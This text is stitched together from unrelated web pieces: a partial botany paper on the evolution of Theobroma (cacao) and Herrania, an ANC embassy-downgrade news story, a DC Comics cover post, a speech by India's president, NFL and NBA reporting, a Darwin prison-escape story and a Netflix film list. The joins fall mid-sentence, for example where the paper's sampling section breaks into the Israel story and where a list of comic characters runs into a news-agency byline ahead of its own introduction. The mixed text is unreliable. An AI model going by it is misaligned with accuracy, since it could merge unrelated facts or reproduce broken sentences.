In addition to directly causing diversification by splitting lowland populations as mountains rose, diversification may also have resulted indirectly from changes to lowland sediments and river systems that flank the mountains. The joining of Gondwanan and Laurasian landmasses through the formation of the Isthmus of Panama was also thought to be a key event for Neotropical biotic evolution because it allowed the interchange of terrestrial species between North and South America (Simpson, 1980). According to Coates and Obando (1996) the formation of the Isthmus of Panama did not occur in one single event, but was reportedly completed in the Middle Pliocene at around 3.4–3.1 Ma. However, recent studies indicate that the land bridge may actually have begun to form from the early Miocene (Farris et al., 2011; Montes et al., 2015). The migration history of plants and animals across the Isthmus of Panama region has been reviewed by Cody et al. (2010) who concluded that plants had a greater capacity for traversing between North and South America prior to the formation of the land bridge and more recently by Bacon et al. (2015) who re-assessed biological migrations in the light of an older isthmus closure. The role of the rise of the Andes separating the Chocó and Mesoamerican regions of the Neotropics from the Amazonian and eastern regions of South America in promoting diversification has been demonstrated in various groups of organisms including birds (Gonzalez et al., 2003; Brumfield and Edwards, 2007), primates (Cortés-Ortiz et al., 2003), insects (Arrivillaga et al., 2002), rodents (Patterson and Velazco, 2008), mammals (Patterson et al., 2012), and fish (Albert et al., 2006) but few studies have focused on lowland plants (e.g., Pirie et al., 2006; Winterton et al., 2014). The distributions of both Theobroma and Herrania make them an excellent model group to study the effects of montane uplift, the closure of the Isthmus of Panama and other geological events in the region on diversification patterns in the Neotropics.
In order to fully understand the diversification of Theobroma and its allies, it is necessary to place it into spatial and temporal context within the family to which it belongs. The circumscription of Malvales has changed markedly in recent years in the light of molecular phylogenetic studies (e.g., Alverson et al., 1999). Previously recognized families have now been sunk into a broader Malvaceae. One of these, Sterculiaceae, the former home of Theobroma, is polyphyletic. Theobroma is now placed in the tribe Theobromeae within subfamily Byttnerioideae Burnett (Whitlock et al., 2001), one of nine sub-families currently recognized within Malvaceae. Byttnerioideae includes 27 genera and 650 species (Stevens, 2001) and also includes the tribes Byttnerieae, Hermannieae, and Lasiopetaleae. Most of the nine subfamilies of Malvaceae have a predominantly tropical distribution although some have strong representation at higher latitudes. The genus Tilia in Tilioideae is restricted to temperate areas and Malvoideae are well-represented in both tropical and temperate zones.
The comparative evolution of temperate and tropical lineages is of great interest as it may allow us to answer questions related to the latitudinal gradient in species diversity (described in e.g., Hillebrand, 2004; Jablonski et al., 2006; Brown, 2014) that is the greater species richness at lower latitudes. Temperate lineages are those found at high latitudes (or altitudes), of which there are few in Malvaceae, and does not include those found in mid-latitudinal deserts, Mediterranean or warm regions. One explanation for this latitudinal gradient is that tropical lineages have been around for longer (Stebbins, 1974) and have occupied more space. Throughout much of the history of angiosperms global temperatures have been much warmer than modern ones. A decline in temperature was experienced throughout the course of the Tertiary creating temperate conditions at higher latitudes and biome areas would have changed in response to those changes. The fossil record has copious evidence of tropical elements at higher latitudes (e.g., London Clay Flora, Reid and Chandler, 1933) during the warmer periods of the Tertiary. As outlined by Fine and Ree (2006) tropical lineages thus occupied greater areas for longer periods of time than temperate ones, and tropical groups therefore had more time and space within which to diversify. An alternative hypothesis to explain the latitudinal gradient was outlined by Mittelbach et al. (2007) who suggested that greater diversity in the tropics is due to faster diversification rates (see also, Rolland et al., 2014). Lineages that have both tropical and temperate clades may be used to compare their age and diversification rates allowing us to determine whether either of these two hypotheses is correct. The tropical/temperate distribution of Malvaceae also permits addressing questions related to phylogenetic niche conservatism (Kerkhoff et al., 2014). Were temperate lineages derived from tropical ones? If so, how often and when did those lineages arise and did their evolution coincide with climatic changes such as Tertiary cooling?
The primary aim of the present study is to use a dated molecular phylogeny to determine the effects of the Andean uplift and the formation of the Isthmus of Panama on the temporal and spatial diversification of Theobroma and Herrania. Inability to disperse across water would result in Central/South American disjunctions being dated to after the closure of the Isthmus of Panama. Similarly, if they could not disperse over mountains with an altitude of 2000 m then west/east Andean disjunctions would be dated to c. 5 Ma. Diversification may also have increased in lowland areas during periods of Andean uplift that altered the landscapes of the Amazon Basin and Chocó. We also aimed to determine the age of Theobroma cacao and discuss the implications for the chocolate industry. Additionally we aimed to assess the diversification history of Malvaceae throughout its range. If the latitudinal gradient is to be explained by faster diversification rates in the tropics we would expect to see higher rates in tropical lineages compared with temperate ones. Alternatively, temperate lineages may have been around for less time and occupied less space than tropical ones in which case we might expect to see temperate lineages nested within tropical ones and for both to have similar diversification rates. Few temperate lineages nested within tropical ones would be consistent with phylogenetic niche conservatism in terms of cold tolerance traits.
Methods
Map Generation
Maps were generated that included all accessions recorded in GBIF for the species within their native range as taken from monographic treatments (we excluded accessions georeferenced outside their native rage). Additionally, all specimens which mentioned “cultivated” in the specimen description were eliminated. The map may include cultivated specimens within their native range that could not be identified through the information provided in GBIF, but these should represent only a very small percentage of the total.
Sampling
We utilized two datasets in this study. We downloaded 157 plastid ndhF sequences from GenBank that were derived from publications by Alverson et al. (1999), Whitlock et al. (2001) Nyffeler et al. (2005), and Wilkie et al. (2006) and aligned them automatically using ClustalW in BioEdit (Hall, 1999) and then manually be eye using Mesquite (Maddison and Maddison, 2015). Of these 137 |
Divestment and Sanctions movement]. It appears to us that the ANC's foreign policy formulation process was hijacked by forces that have a limited interest in promoting South Africa's and key South African communities' well-being and are rather obsessed with undermining the viability of Israel and harming the local Jewish community."
The statement said that the broad presence of Hamas - a terrorist organisation which actively calls for the destruction of Israel - at the Elective Conference and its extensive lobbying efforts supported the view.
Earlier on Wednesday, the ANC resolved to downgrade the South African Embassy in Israel to a liaison office.
"We reaffirm our solidarity with the people of Western Sahara, Palestine, and Cuba. Delegates endorsed the proposal that we must give practical support to the oppressed people of Palestine and resolved on an immediate and unconditional downgrade of the SA embassy in Israel to a Liaison Office," the resolution read earlier on Wednesday said.
The SAJBD and the SAZF said that those calling for the downgrade were consistent in their desire to "demonise Israel, while real human rights abuses like those occurring in Libya, Myanmar and Syria, among others, are ignored".
"They are pushing their radical anti-Israel agenda to the detriment of fellow South Africans, and against the interests of the country as a whole."
They said that the downgrade would negatively affect the South African economy by "jeopardising trade, tourism, access to hi-tech water technology". South Africans would also be spiritually and culturally poorer as the downgrade would unfairly impact on the ability of Jews and Christians to practice and identify with their religious and cultural heritage, they said. Furthermore, access to education and cultural resources will be curtailed.
"South Africa will be politically poorer: with a downgrade, South Africa will forfeit a meaningful role to play as a peace broker. We believe that the only way in which the peace in the Middle East will be achieved, is through direct negotiations between the Israelis and the Palestinians," the joint statement read.
"South Africa, with its close relationship with the Palestinians and with its experience of negotiations, has a unique position to facilitate engagements to peace. South African Jewry feel betrayed by the liberation movement of the ANC structures and are deeply disappointed that they were persuaded by those with obsession to vilify the Jewish state."
Meanwhile, Palestine solidarity organisation Boycott, Divestment and Sanctions against Israel in South Africa (BDS SA) welcomed the decision.
"This is a huge step in the right direction and a massive gain for the global boycott, divestment, and sanctions (BDS) against Israel movement," the organisation said.
"The ANC, Africa's oldest liberation movement, which benefited from boycotts and sanctions against Apartheid South Africa, has provided direction and we look forward to others following suit."
In July, the ANC called for the downgrading of the South African Embassy in Israel due to the ongoing conflict with Palestine, saying that it was concerned by the lack of commitment from Israel on Palestinian issues.
Recently, there has been widespread criticism in various quarters in South Africa of a decision by US President Donald Trump recognising Jerusalem as Israel's capital.
African News Agency/ANAOMAC (Kevin Kho), Batman (Wang Baixi), Super-Man (Kenan Kong), Wonder Woman (Peng Deilan), Grace Choi, August General in Iron, I Ching, Orphan (Cassandra Cain), Judomaster (Sonia Sato), Dr. Light (Kimiyo Hoshi), Element Girl (Emily Sung), The Atom (Ryan Choi), Katana (Tatsu Yamashiro), Crazy Shy Lolita Canary, Batman of Japan (Jiro Osamu) and Avery Ho.
It's May, so it's Asian American Pacific Islander Heritage Month... but it's also #asianheroesmonth!To celebrate, artist Bernard Chang created this awesome variant cover for#11 depicting Kenan Kong, aka the Chinese Superman, going out to dim sum with some of his fellow Asian superheroes of the DC Universe (at a restaurant where the poor wait staff is apparently possessed by Starro the Conqueror).Can you name all the characters?The heroes are (clockwise from the top left):Bonus challenge: can you name all the dim sum dishes on the table?And damn, where can we get a large wall print of this cover?#11 hits shelves on May 10.Pranab Mukherjee has been speaking against intolerance after the Dadri lynching incident and subsequent events.
In the middle of a debate on perceived "intolerance" in the country, President Pranab Mukherjee today delivered a sharp message on "cleansing India of divisive thoughts" and said: "The real dirt of India lies not on the streets but in our minds."Speaking at a function in Mahatma Gandhi's Sabarmati Ashram in Ahmedabad, Mr Mukherjee also commented on "our unwillingness to let go of views that divide society into them and us."He praised Prime Minister Narendra Modi's "Swachch Bharat" or Clean India mission but commented that "this also must be seen as just the beginning of a much larger and intense effort to cleanse minds and fulfil Gandhiji's vision in all its aspects."Mr Mukherjee cited Gandhiji's vision of India as an inclusive nation where everyone is equal."Every day, we see unprecedented violence all around us. At the heart of this violence is darkness, fear and mistrust. While we invent new modes of combating this ever spiraling violence, we must not forget the power of non-violence, dialogue and reason," he said.The President has repeatedly spoken against "intolerance", linked to incidents like the mob killing in September of a Muslim man in Uttar Pradesh's Dadri over rumours that he had eaten beef."We must free our public discourse of all forms of violence, physical as well as verbal. Only a non-violent society can ensure the participation of all sections of the people, especially the marginalised and the dispossessed in our democratic process," Mr Mukherjee said.He added: "Only those who are confident of their conviction, secure in their faith and rooted in their culture can hope to live in an open house, an open society. If we close ourselves in, seek to be immune from other influences, it shows that we are prepared to live in a house that is devoid of fresh breeze." The President also said the "capacity for compassion and empathy is the true foundation of our civilization."article
San Francisco 49ers quarterback Colin Kaepernick’s historically-lackluster performance during a 26-6 loss to the Chicago Bears on Sunday renewed doubts about his ability to land a new long-term contract this offseason.
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Kaepernick was benched in the fourth quarter after completing just 1-of-5 passes for four yards and no touchdowns. The 29-year-old signal-caller was also sacked five times for a loss of 25 total yards, which left the 49ers with minus-21 net passing yards when he exited the game.
The 49ers-Bears contest marked the first game in 28 years where neither team completed a pass in the first quarter. Kaepernick had averaged more than 275 yards and more than 50 yards rushing per game in his last four contests prior to Sunday’s debacle.
The game was a major setback for Kaepernick, who restructured his six-year, $126 million contract to drastically reduce his guaranteed money in exchange for the right to opt out of the deal and test the free agent market. Prior to Sunday’s game, the NFL Network’s Ian Rapoport reported that Kaepernick is indeed planning to waive the remainder of his deal to pursue a new contract, whether with the 49ers or another franchise.
For risk-averse franchises, Kaepernick’s on-field struggles are compounded by his divisive behavior outside the gridiron.
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A polarizing figure, Kaepernick has drawn widespread criticism this season for refusing to stand during the playing of the National Anthem in protest of perceived social and racial injustice. In November, Kaepernick was involved in a testy exchange with a Miami Herald columnist after wearing a T-shirt emblazoned with an image of deceased Cuban leader Fidel Castro to a press conference.Berrimah inmates break out of prison, then return after getting drunk
Updated
At least four prisoners in Darwin are suspected of repeatedly escaping the prison, getting drunk, then voluntarily returning to the facility in the hope no one would notice.
The ABC understands authorities were checking whether low-security prisoners have repeatedly escaped from a work release centre at Berrimah jail for a few hours after a 7pm headcount.
"It would appear that a couple of prisoners have jumped the fence but returned," a spokesman for NT Department of Correctional Services said.
Authorities were believed to suspect the group, and possibly other prisoners, were from time to time jumping a cyclone fence, getting picked up from a main road by partners and given alcohol and marijuana, before breaking back into prison a few hours later.
The deception was eventually discovered shortly after midnight in the early hours of Sunday July 20 when five drunk prisoners were found fighting over a mobile phone.
"It is alleged that four of the prisoners had earlier climbed a perimeter fence to retrieve contraband items from someone on the outside," the department spokesman said.
It would appear that a couple of prisoners have jumped the fence but returned. Department of Correctional Services spokesman
He added the group "may have been out for a while" but that would become clear only after a police investigation.
An internal departmental investigation was also underway, the spokesman said.
"They [police] will come back with recommendations as to what charges will be laid," he said.
"It will be up to police to determine what constitutes an escape."
A search of the work release centre uncovered several other items of contraband including two empty bottles of alcohol, five mobile phones, phone chargers, a small quantity of a "green leafy substance", a cigarette lighter and rolling papers.
The men have since been transferred to the prison's maximum security section.
Topics: prisons-and-punishment, darwin-0800
First postedThe Denver Broncos' offense got some good news on Friday in advance of their meeting with the Miami Dolphins on Sunday.
The team's official website reported that both tight end Julius Thomas (ankle) and wide receiver Emmanuel Sanders (concussion) were at practice.
Sanders practiced fully and is listed as probable to play. Coach John Fox said the wideout was cleared on Thursday night.
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Thomas, who left last week's game early with an ankle injury, was listed as questionable for Sunday. Reporters viewed Thomas participating in individual drills, but he was listed as did not participate in practice. Fox told reporters he could have listed Thomas as limited, but his workload was closer to a DNP designation. NFL Media Insider Ian Rapoport reported Sunday morning that Thomas is a game-time decision.
Getting both players back at practice is a good sign for an offense that looked lost at times last week without them. With a sluggish running game, Manning will need as many weapons as possible against a stellar Dolphins defense.
Here's who else is on the mend for Friday:
1. Browns tight end Jordan Cameron returned to practice Friday after missing the last three games. However, per the NFL's concussion protocol, graduating to practice doesn't necessarily mean that Cameron has been cleared for contact or game action. As such, he has been ruled out for Sunday's bout with the Atlanta Falcons.
Inhibited by a season-long shoulder injury in addition to the concussion issues, Cameron has been limited to just 250 yards on 13 receptions in six games. It has been a trying follow-up season to last year's impressive breakout campaign.
Linebacker Karlos Dansby (knee) is doubtful, while pass rusher Jabaal Sheard (foot) is questionable.
2. The Texans announced that running back Arian Foster (groin) is questionable for Sunday.
3. Lions running back Reggie Bush (ankle) has also been designated as questionable.
4. For the Bucs, linebacker Lavonte David (hamstring) was not at practice and will be a game-time decision, per coach Lovie Smith. Meanwhile, the Tampa Tribune also reports that running back Charles Sims (ankle) was at full tilt for Friday's session after being limited the day before. Cornerback Alterraun Verner (hamstring) said he's "optimistic" about playing Sunday, according to the Tampa Bay Times.
5. Vikings defensive tackle Sharrif Floyd (knee), offensive tackle Matt Kalil (knee) and running back Matt Asiata (concussion) were not at practice, with the latter declared out for Sunday. Meanwhile, wide receiver Greg Jennings (rib) participated fully and running back Jerick McKinnon (lower back) was limited. Floyd, Kalil and Jennings are questionable, while McKinnon is probable.
6. The Giants held out offensive tackle Justin Pugh (quad), linebacker Jacquian Williams (concussion) and defensive tackle Cullen Jenkins (calf) from practice and subsequently ruled out for Sunday's contest against the Cowboys.
7. Dallas will probably welcome back defensive end Tyrone Crawford (knee), who is probable.
8. Redskins coach Jay Gruden said that offensive tackle Trent Williams (knee/ankle), defensive lineman Chris Baker (sternum) and tight end Jordan Reed (hamstring) missed practice for the third consecutive day. Williams is questionable, while Baker and Reed were ruled out.
Offensive lineman Shawn Lauvao was present at the session, but still needs to clear the league's concussion protocol -- he's questionable for Sunday.
9. Tight end Delanie Walker (concussion) is probable for the Titans' bout Sunday against the Eagles.
10. Linebacker Vontaze Burfict (knee) has been ruled out by the Bengals for Sunday against the Texans, while running back Giovani Bernard (hip), Wallace Gilberry (back), offensive tackle Andre Smith (ankle) and cornerback Terence Newman (knee) are probable. Coach Marvin Lewis told the team's official website that there's a chance tight end Tyler Eifert (elbow) could return before season's end.
11. Cardinals wide receiver Larry Fitzgerald (knee) was "working on the side" and did not participate in practice. Coach Bruce Arians later said that Fitzgerald is questionable for Sunday's pivotal matchup with the Seahawks and will be a game-time decision.
12. Seahawks coach Pete Carroll said Bobby Wagner (toe) will play Sunday against the Cardinals -- the linebacker is probable. Guard James Carpenter (ankle) will be a game-time decision and is officially questionable.
13. For the Packers, linebacker Clay Matthews (groin) and defensive end Datone Jones (ankle) were limited. Matthews is probable for Sunday, while Jones is questionable.
14. Dolphins cornerback Cortland Finnegan (ankle) and tight end Charles Clay (knee/hamstring) stayed away from practice again, both earning doubtful tags for the Broncos tilt.
Starting running back Lamar Miller and guard Daryn Colledge are both questionable with knee/shoulder and back ailments, respectively.
Quarterback Ryan Tannehill (left shoulder) and wide receiver Mike Wallace (calf) limited but are both probable.
15. Bears wide receiver Brandon Marshall was limited for the second consecutive day with an ankle injury but is probable for Sunday versus the Buccaneers.
16. The Colts announced that tight end Dwayne Allen (ankle), offensive tackle Gosder Cherilus (shoulder) and cornerback Greg Toler (concussion) missed practice for the third straight day and will be out for Sunday.
17. Rams coach Jeff Fisher said that "there's a chance" that defensive end Chris Long (ankle) could be activated for Sunday's matchup with the Chargers, but that "it's probably unlikely," suggesting that next week might be more realistic.
Pass-catching tight end Jared Cook is questionable with a back injury.
18. The Chargers listed quarterback Philip Rivers as probable with a chest injury, while safety Jahleel Addae (concussion) and center Rich Ohrnberger (ankle/back) questionable
19. Niners offensive tackle Anthony Davis (concussion) and defensive tackle Glenn Dorsey (forearm) are out for Sunday, while cornerback Tramaine Brock (hamstring) is questionable and rookie linebacker Chris Borland (shoulder) is probable.
20. The Broncos added DeMarcus Ware to the injury report on Saturday, listing him as probable with an undisclosed illness.
21. The Saints will be without running back Khiry Robinson (forearm), who was declared out for Monday's game against the Ravens. Wide receiver Robert Meachem (ankle) was listed as questionable, while running back Pierre Thomas (rib/shoulder), linebacker Curtis Lofton (ankle) and cornerback Keenan Lewis (knee) were listed as probable.
22. The Buffalo Bills officially listed running back Fred Jackson (groin) and cornerback Ron Brooks (groin) as questionable for Monday's game against the New York Jets in Detroit.
The latest Around The NFL Podcast recaps the Raiders' shocking win over the Chiefs and previews every other Week 12 game. Find more Around The NFL content on NFL NOW.The notion that inconsistency hurts a team's performance is as obvious as the sun is hot. If you have a job to do, and sometimes you do that job well while other times you do that job poorly, obviously it would be better if you just did your job well all the time. And generally speaking, it is better to play consistently at the same level instead of sometimes playing above that level and sometimes below that level, even if things average out to be equal. So if I were to say that inconsistency is killing the Los Angeles Lakers, you'd probably respond with something along the lines of "Well, D'uh".
Guess what? Inconsistency is killing the Los Angeles Lakers. No, seriously, KILLING them. The Lakers are so inconsistent, they aren't just significantly under performing their expectations. They are actually managing to significantly under perform their performance. The Lakers are currently 15-16, hovering around the.500 mark which is the very definition of average (i.e. you win as many games as you lose). So, keeping in mind that Steve Nash only just returned and the Lakers spent the first five games of the season mired in the aborted mistake that was the Princeton offense, where would you guess the Lakers ranked offensively this season? Don't cheat, don't look it up. Just guess.
Did you guess 6th? Because that's where the Lakers are currently ranked in Offensive Rating, per basketball-reference.com. Sixth. It goes OKC, New York, Miami, the Clippers, San Antonio, and then the Lakers. Those are some pretty damn good teams there, and while it should be noted that there is a significant gap between the rest of the elite teams and the Lakers (110.1 to 108.7), there is also a (less sizeable) gap between the Lakers and everybody else (108.7 to Houston's 107.9). So, from a purely offensive perspective, the Lakers are close to elite.
Then the defense must be terrible, right? I mean, if the Lakers have a close to elite offense, and yet they currently find themselves nowhere near the other elite teams, they must have one of the worst defenses in the league, right? Let's play our guessing game again. Based on what I've already told you, where do you think the Lakers rank defensively. 25th out of 30 teams? 30th? Nope. 17th. It's not good, but it's hardly terrible. It average, or ever so slightly below it. But the Lakers are surely worse than the elite teams, right? Nope. Not all of them, at least. The Lakers are better, statistically, on defense than both the Miami Heat and the New York Knicks. Hell, the Lakers are signifcantly better on defense (+1.1) AND offense (+3.6!!) than the Portland Trailblazers, who currently sit a game and a half ahead of the Lakers at 16-14. That's impressive, in a depressing, "my world record collection of matchbooks was lost when my house burned down" sort of way.
A very good, nearly elite offense. A mediocre, but hardly terrible, defense. Combine the two, and you get a team that is on the outside of the playoff hunt looking in, as of today. It just doesn't make sense. Think of it in terms of grades. If you were grading the league on a bell curve, the offense would probably be somewhere between an A- and a B+. The defense would grade out in the C/C- range. Average the two out, and you are looking at a B/B- team. Instead, the Lakers have taken their B+ offense, and their C- defense and combined them into a C- record.
How disappointing is this? Well, as bad as the Lakers have been, if they just had a record that matches their statistical performance (per Pythagorean W/L), they would sit at 18-13, comfortably in 6th in the Western Conference and in prime position to push higher. That -3 difference between the Lakers actual win total and their expected statistical win total is tied for the worst in the league, and the teams they are tied with are all terrible (Hint: the best teams in the league usually out perform their Pythagorean W/L while the worst usually underperform it). For a mediocre team (by record) or a decent team (by performance) to under perform so dramatically as compared to their own statistics is rare. Hell, if you go by margin of victory (or defeat), which as any stat head will tell you, has long been the most accurate predictor of postseason success, the Lakers are currently tied for seventh in the league with Golden State, a team that is currently six games ahead of them in the standings, at 21-11.
How has this happened? Last night's contest provided a pretty good clue. Last night, the Lakers shot waaaaay below average from the field (39% vs. 45%) and from 3 point range (14% vs. 36%). And they shot below their shitty average from the free throw line too, with Dwight Howard only responsible for 5 of the team's 11 missed freebies. And this is not an isolated incident either.
For a team with an elite offense, the Lakers sure know how to throw up a stinker. They've had four contests this season in which they scored less than 95 points per 100 possessions, and another three in which they've scored less than 100 per 100 possessions. All seven of those games were losses, but what makes things much worse is who the Lakers have failed so badly to score against... Philly (ranked 15th defensively), Cleveland (25th), Indiana, who is ranked 2nd defensively, but against whom the Lakers scored a monumentally horrific 77.8 points per 100 in game they lost by one, San Antonio (4th), Utah (24th). the Clippers (3rd), and Dallas(22nd). San Antonio and the Clippers are understandable, and Indiana would have been as well if it weren't so bad, but three of the Lakers worst offensive performances of the season were against some truly terrible defenses, and they are among the Lakers worst losses this season. The defensive performance is the same story. In their 2nd best offensive performance of the season, the Lakers lost to a team that is under.500 (the 117-110 loss to Utah). They lost a game in which they scored 115 points per 100 possessions (which they've done only 7 times this season) by double digits (126-114 Denver). These are all wasted chances, games in which the Lakers could have, and sometimes should have, won comfortably. Instead, they pick their easiest games to under perform, and their hardest games to provide a game effort that falls just short.
The Lakers are inconsistent. We all know that. Sometimes Metta hits his threes, and sometimes he doesn't. Sometimes Dwight Howard can move, sometimes he can't. But the Lakers aren't just inconsistent, they are consistently on the wrong end of that inconsistency at the worst possible time. As bad as the Lakers have been, they are statistically a team that is still within striking distance of the league's best. That is, perhaps, the one silver lining in all this: Statistically, the Lakers are much closer to being the team we thought they were than what they are showing. If point differential is the best indicator of postseason success, the Lakers currently have the 7th best chance of any team in the NBA of doing well in the postseason.. Considering where they currently stand, I'll take those odds.
But therein lies the problem. The Lakers currently stand where they currently stand, and that is four feet deep in a six foot grave that they must dig out of. The schedule is about to get harder, and if the Lakers don't start getting better, or more lucky, quick, that grave will be their's for eternity. After all, point differential may be a better predictor of postseason success than overall record, but its not that great a predictor of overall record. And overall record is what the Lakers desperately need to improve to have any chance of salvaging this season.20 Underappreciated Gems Currently Playing on Netflix Instant
By Dustin Rowles | Guides | January 29, 2013 |
Have you checked Netflix Instant lately? Each year, it seems that -- while the choices of which television series to marathon increase -- the number of quality film choices has tumbled. There are no longer that many premium movies available on Netflix Instant. In fact, most of the choices look like the dregs of Redbox. When a new movie finally arrives, I've noticed that the people I interact with in real life -- who watch most of their movies on Netflix -- all seem to have stumbled across the same movie at the same time (for instance, Take This Waltz must have been seen by 45 percent of all Netflix Instant subscribers).
There's still good stuff there; it's just harder to find. Many of the better movies never received wide releases, never had huge marketing campaigns, and were never spoken of that much outside of film festivals. So, as I do annually (although, it's getting more difficult), I pored through their offerings from the last two years or so and dug up 20 "pretty good" to great offerings that may have flown under your radar (although, a few wouldn't have if you're a regular reader of Pajiba). So instead of striking out on your own and ending up watching Hansel and Gretel: Warriors of Witchcraft, you have a proper starting point in culling all that's good on Netflix Instant.
(Hyperlinks open to full reviews)
Jeff Who Lives at Home -- Low-key and sweet, there's a quiet poignancy to Jeff, Who Lives at Home that takes an extra beat to flower, but at a short 83-minutes, the film manages to be modest and emotionally satisfying, if not somewhat meandering. The meandering, however, almost seems by design, as though to illustrate the random, illogical and seemingly insignificant nature of the very twists and turns that lead to the climactic events in our lives. The movie doesn't exactly beat you over the head with substance, but the simple theme resounds. -- Dustin Rowles
Butter -- Jennifer Garner's competition satire, Butter, is reminiscent of Alexander Payne's Election by way of the Michael Patrick Jann's under-appreciated pageant satire Drop Dead Gorgeous ("The Swan Ate My Baby!"). Like those two films, it's focused on mid-westerners putting up a pretense of polite folksiness, but behind the scenes, revealing themselves to be cut-throat, political, and sexually-driven characters who will stop at nothing to succeed. Butter is not a hugely successful satire, but it is consistently amusing and frequently clever. -- Dustin Rowles
Like Crazy -- There's quite a bit of heartbreak in Like Crazy. While it has moments of levity, and even a few laugh-out-loud moments, it's ultimately a sad film. Not necessarily in a bawling your eyes out kind of way, but in the same way that these long-distance relationships are often buried under their own sadness. While the movie has a good, nuanced ending which is not really any of the endings you would expect going in, it's not a perfect film. Mainstream audiences will probably hate this movie, because it trades the bright-lights of Going the Distance for the harsh fluorescent realities of the situation. But the sad truth is that good relationships don't always work out for the best. -- Seth Freilich
Bellflower -- Stylistically, Bellflower hits a lot of right notes, and there is real gold to be mined from it. Yet ultimately the film simply shoots too far, overreaching its goals and becoming a muddled mess. It's not that it's bad -- it's actually quite good. But its ending is such a far cry from its beginning, and it falters mainly because the steps in-between don't match those radical tonal changes. If it seems that I'm being deliberately obtuse about it, that's not accidental. Bellflower needs to be seen in all of its lurid, twisted glory to fully understand my take on it. -- TK
Sleepwalk with Me -- At the center of it all is this oddly endearing performance from Birbiglia who, like Louis CK and Woody Allen before him, manages to show you his worst side and somehow hold on to your sympathy. Matt Pandamiglio is an infuriating man-child. Someone who won't take care of himself, can't be honest with his partner and refuses to confront the way in which this self-neglect is extremely destructive. But there's something in Birbiglia's slightly doughy face and, more importantly, the benefit of his own hindsight that consistently wins us over. And for all the heavy themes and wounded characters, Sleepwalk With Me is, at its core, pretty f*cking hilarious. Especially if you've never heard the jackal story before. -- Joanna Robinson
The Do-Deca Pentathalon -- "The Duplass Brothers, Mark and Jay, understand relationships, and are mining indie gold with ruminations on mothers, fathers, sisters, brothers, wives and kids. The Do-Deca-Pentathlon continues the trend of thirty-somethings living in suspended funimation, but with spectacular fireworks. It so perfectly captures the dynamic between two insanely competitive brothers, with all the love and hatred that sharing an old wombpartment can engender." -- Brian Prisco
Bernie -- Bernie feels more like a Christopher Guest film than a Richard Linklater, and I mean that as an utmost compliment. It reminds me so much of Waiting for Guffman, a cacophony of amazing supporting small town performers surrounding the three leads who simply kill it. Based on a true story, Bernie is about a fussy little mortician in a small Texas town who befriends the town harridan. He accidentally kills her, and then attempts to hide the body while tending to her finances. It's actually kind of an old story - wealthy widow wooed and wasted by younger man - and in other hands it would be more comedy of errors than comedy of manners. Linklater knows small-town Texas, and so he creates an extremely competent fictionalized true crime documentary, something you'd see on Unsolved Mysteries or America's Most Wanted. It's brutally funny and very sad, and it feels honest. For people sick of the rig-a-dig-doo manic-bulldog Jack Black or the alright-alright surf-slack McConaughey, you will be pleasantly surprised with their performances. Bernie is yet further proof that Richard Linklater is willing to take wild chances and take adventurous paths with his films. -- Brian Prisco
The Myth of the American Sleepover -- There have been a lot of great coming of age movies over the years, but Myth more than any other recaptures that adrenalized high you got from sneaking out in the middle of the night in high school, not to do anything dastardly, but to experience what the world is like when the adults are asleep, to steal a kiss, to form a connection with those who barely gave you notice during the day. It's the middle of the night, the world is upside down, and there's an epiphany at every corner. The Myth of the American Sleepover resurrects it all for an hour and a half before you wake up and realize you have a job and a kid and a mortgage and you'll never again be able to experience the magic of brushing hands with a pretty girl you've never met. It's all downhill from there, folks. But at least, The Myth of the American Sleepover reminds you that you're still capable of feeling a tingling but diluted version of that. It's an outstanding movie, and it will bust your heart open. -- Dustin Rowles
Take This Waltz -- Though it meanders, taking its sweet time to fully capture Margot's relationship with Lou, and then Daniel, Take This Waltz is a powerfully evocative film. I'd be hard-pressed to call it entertaining or even funny (though, there are small doses of strange humor built around Margot and Lou's affectionate insults), but Take This Waltz is a brilliant mood film. The performances from Michelle Williams and Luke Kirby are, as you'd expect, outstanding, and even Rogen manages to pull off a strong dramatic performance (until he's called upon to cry, which is where he comes up short). There is a narrative, but the film doesn't set out to tell a story as much as it attempts to conjure certain feelings, to make you ache, and most likely, remind you of your own history of failed relationships. In that regard, it's a wistful, melancholy success, another outstanding effort from Sarah Polley. -- Dustin Rowles
The Company Men -- Ben Affleck, Kevin Costner, and Chris Cooper star in The Company Men, a suitable sister movie to Jaston Reitman's Up in the Air, focusing on the other side of that equation: The white collar, upper middle-class employees who have lived comfortable lives for year and for the first time in their lives face the indignity of unemployment, the struggles of maintaing a family, and having to start all over again so late in their life in a corporate world that, to some degree, has passed them by. It's not a film that will suit everyone (in fact, Prisco hated it), but I thought it was a strong film about men facing a decision between giving up and starting all over. -- Dustin Rowles
Trust -- Trust is the crushing tale of a freshman girl who gets stalked and sexually violated by an online predator. It plays out like a painstakingly well-crafted Lifetime movie or an afterschool special, but that's more to the layout of the plot rather than the acting and style of the production. Because it is painstakingly well-crafted and soul-crushing to watch. Schwimmer, working from a script by In The Bedroom scribe Robert Festinger, and Andy Bellin, creates what amounts to a stylistically interesting and heartrending cautionary example of the potential dangers of living in the digital age. While it's plotted a bit like the online date rape version of the drivers'-ed "Blood on the Asphalt" video, the actors are all fantastic and Schwimmer manages to come at the story from enough intriguing and terrifying angles to make the film quality. -- Brian Prisco
The Freebie: The Freebie seems like a bad idea from the start -- two young hipster marrieds, together some seven plus years, decide that it's only logical that a couple as enlightened as they can go out and have one night stands and be none the worse for wear. Yet, writer/director/star Katie Aselton succeeds because she hates these stupid bastards just as much as we do. The Freebie is honest and smart and ugly, riding on the outstanding chemistry between Aselton and her co-star Dax Shepard, whose performance might have very well been the degree of difficulty that propelled this into the gold medal category. The Freebie rings painfully true, but eschews any of the slapstick or staged fights that would cripple this as a studio film. What makes the flick so endearing is that, as in real life, Aselton avoids going for the simple solutions. It's a textbook example of what every indie romance should be -- ugly, beautiful, and sincere." - Brian Prisco
Goon -- Goon, written by Jay Baruchel and Evan Goldberg and directed by Michael Dowse, is the unholy bastard child of Rocky and Slap Shot, with the dynamite mechanics of Major League thrown in for good measure. It's not so much a movie about hockey as about my favorite part of hockey, the enforcer. It's hilarious and violent, a sweet love story punched in the face with a knuckle dragging sports blowout, with profanity fountaining out like a shook-up soda can. From the opening shots of blood splattering ice as a tooth slowly tumbles to the rink, asskicking abounds, and from opening buzzer to final bloody dukeout, Goon pummels you with gleeful abandon and you're left dazed and smiling. Albeit short a few choppers. -- Brian Prisco
